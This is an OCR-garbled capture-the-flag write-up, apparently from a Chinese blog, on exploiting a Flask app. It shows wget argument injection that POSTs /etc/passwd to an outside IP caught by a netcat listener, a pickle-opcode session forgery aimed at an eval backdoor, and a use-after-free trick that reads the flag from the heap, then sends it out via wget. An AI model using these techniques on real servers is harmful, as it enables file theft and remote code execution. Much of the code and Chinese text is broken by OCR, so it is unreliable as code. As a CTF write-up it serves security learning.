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File " /var/www/html/app.py", line 70, in images
def images():
command=[ "wget" ]
argv=request.args.getlist( argv’)
print(argv)

(L]

true argv=[x if x.startswith("-") else '--"+x for x in argv]
image=request.args[ 'image’]

command . extend(true_argv)

command.extend(["-q","-0","-"])

command . append("http://1.116.123.136/"+image)

print(command)

image data = subprocess.run{command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)

File "/usr/local/lib/python3.7 /dist-packages/werkzeug/datastructures.py”, line 442, i getitan
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> P
Listening on (family @, port 1234)
Connection from [ ] port 1234 [tcp/*] accepted (family 2, sport 60292)
POST http://1.116.123.136/index.html HTTP/1.1
User-Agent: Wget/1.19.5 (linux-gnu)
Accept: */#
Accept-Encoding: identity
Host:
Connection: Keep-Alive
Proxy-Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3432

root:x:0:0: root:/root: /usr/bin/zsh

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games: /usr/games: /usr/sbin/nologin

man:x:6:12:man:/var/cache/man: /usr/sbin/nologin

lp:x:7:7:1p:/var/spool/lpd: /fusr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news: /usr/sbin/nologin https://blog.csdn.netHBohan

BT REEAE.

lapp/app.py

from flask import Flask, request, session, render_template, url_ for,redirect

pickle

io
sys
base64
random
subprocess
from ctypes import cdll
from config import SECRET_KEY, notadmin,user

cdll.LoadLibrary(

app Flask(__name_ )
app.config.update(dict(

SECRET_KEY=SECRET_KEY,
))

class RestrictedUnpickler(pickle.Unpickler)
def find class(self, module, name)
if module in [ 1 and not in name
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError( (module, name))

def restricted loads(s)

return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route(

@app.route(

def index()
if session.get(




return redirect(url_for(
else
return render_template(

@app.route( , methods=[
def login()
name request.form.get(
data request.form.get(
User user(name,data)
session| ]=base64.bb64encode(pickle.dumps(User))
return redirect(url_for( ))

@app.route(

session| ]
User = restricted loads(base64.b64decode(info))
Jpg_id random.randint(1,5)
return render_template( ,id str(Jpg_id), info = User.data)

@app.route(
def images()
command=[ ]
argv=request.args.getlist( )
true_argv=[x if x.startswith( ) else x for x in argv]
image=request.args| ]
command.extend(true_argv)
command . extend ([ ) 1
command . append ( image)
image_data subprocess.run(command, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
return image_data.stdout

if _ name
app.run(host , debug=True, port=80)

lapp/config.py

self.username username
self.data data

def backdoor(cmd)
if isinstance(cmd,list) and notadmin[
S .join(cmd)

eval(s)




flask debug pin?

B # T, JF/8 T debugtis, MABAER AR LA4Tpin, EHEHATpythondr £,

flaskffjdebugE K24 T — A web LRI A &ATHE D . THIXANE DR & ZEpinkS A e 17 H i1
python3 app.py

* Serving Flask app "app" (lazy loading)
* Environment: production

1)« Y DI 1 110 WSGI

Debug mode: on

Running on http://0.0.0.0:80/ (Press CTRL+C
Restarting with inotify reloader

Debugger is active!

Debugger PIN: 315-59Z5F59 https://blog.csdn.net/HBohan
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@app.route(

session| ]
restricted_loads(base64.b64decode(info))
Jpg_id random.randint(1,5)
return render_template( ,id str(Jpg_id), info = User.data)

KT pickle R FFIMIAT AT LAS
https://xz.aliyun.com/t/7436

class RestrictedUnpickler(pickle.Unpickler)
def find class(self, module, name)
if module in [ ] and not in name
return getattr(sys.modules[module], name)

raise pickle.UnpicklingError( (module, name))

def restricted_loads(s)

return RestrictedUnpickler(io.BytesIO(s)).load()

X BERRS] T R R g8 hconfig B, RFABEA_ . (HEF LLlidconfigibackdoorif %, %iidt.

def backdoor(cmd)
if isinstance(cmd,list) and notadmin[

s .join(cmd)

eval(s)
ALLES], Z{EHbackdoorif $4iff fFnotadmin[‘admin’=="yes”
Ifi 7Econfig.pyH notadmin={"admin”:no”}, X 1. 7% 2@ id pickle opcode B ix 45 B 7 # liyes.
iZflag

app.pyE A —“ cdll.LoadLibrary("./readflag.so")



Fr A3k Btreadflag.so, M ElidaB RHFFE—T .

Function name Seqn 1pnt easy()

? _Inlt_proc .init 21

? sub_5C0 plt 3| char *s; // ST0@ 8
?_fclose .plt 4| FILE *stream; f/ ST0Z &8

? _fgets .plt >

? _malloc .plt 6] = = (char *)malloc(@x64ulL);
?_fopen .plt 7| stream = fopen("/flag", "r");
F| __cxa finalize .plt 8| fgets(s, 100, stream);

? deregister_tm_clones L text 9| return fclose(stream);

? reglister_tm_clones . text 100}

? __do_global _dtors_aux . text

? frame dummy . text

z 2ASY . text

f| _term_proc . fini

? fclose exte

? fgets exte

? malloc exte

? fopen exte

? __imp cxa finalize exte

E __gmon_start__ exter
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from ctypes import cdll
@=cdll.LoadLibrary(

f.read()
print(vmmap)

re_obj re.search(r

heap re_obj.group(1)

heap_end re_obj.group(2)
print(heap)

print(heap_end)

heap int( heap, 16)
heap_end int( heap_end, 16)
f.close()

f = open(

size heap_end heap

f.seek(heap)

res f.read(size)

res re.search(b , res).group()

print(res)

.close()

2. Wik —Auafikitflagit )N FE 538
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1. BIE—/N0x64 K] chunk, kR )5 17 flagh AR chunk i mallockt 75 Z fsize .
2. freeixHchunk. free/54iX4~chunk£ i Elfastbingl#tcache (glibcBimpRA) Bf.

3. feasy()E &kmallocH i& i< B 1% F[F —Hechunk. FBFIHuafl§id, B2 BT & 2432 R —Hchunke.

import ctypes
libc ctypes.cdll.LoadLibrary(
sol ctypes.cdll.LoadLibrary(

libc.malloc
libc.free
malloc.restype ctypes.c_void_p
ptr = ctypes.cast(malloc(0x64), ctypes.c_char_p)

free(ptr)

sol.easy()

print(ptr.value)
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& %&exp
Bidwget iflagfs BAAXBIRS 28 L. X BRI KR uafft 7ikitflag. procifflaghtl ikt dexpid i85 4 —HE.

from base64 import b64encode

from flask import Flask, request, session

from flask.sessions import SecureCookieSessionInterface
import pickle

import requests

Flask(__name__

serializer SecureCookieSessionInterface get _signing serializer(app
b64encode(opc
opc
serializer.dumps(sess

print(cookie

requests.get cookies cookie

1] LU FlgetZ 3it R flag{dddd)



ubuntu@VM-0-6-ubuntu:~%$ sudo nc -lvnp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from | ] port 1234 [tcp/*]
GET /7?bflag%7Bdddd%7D%5Cn HTTP/1.1

User-Agent: Wget/1.19.5 (linux-gnu)

Accept: */*
Accept-Encoding: 1dentity
Host: 11234
Connection: Keep-Alive
https://blog.csdn.nettHBchan
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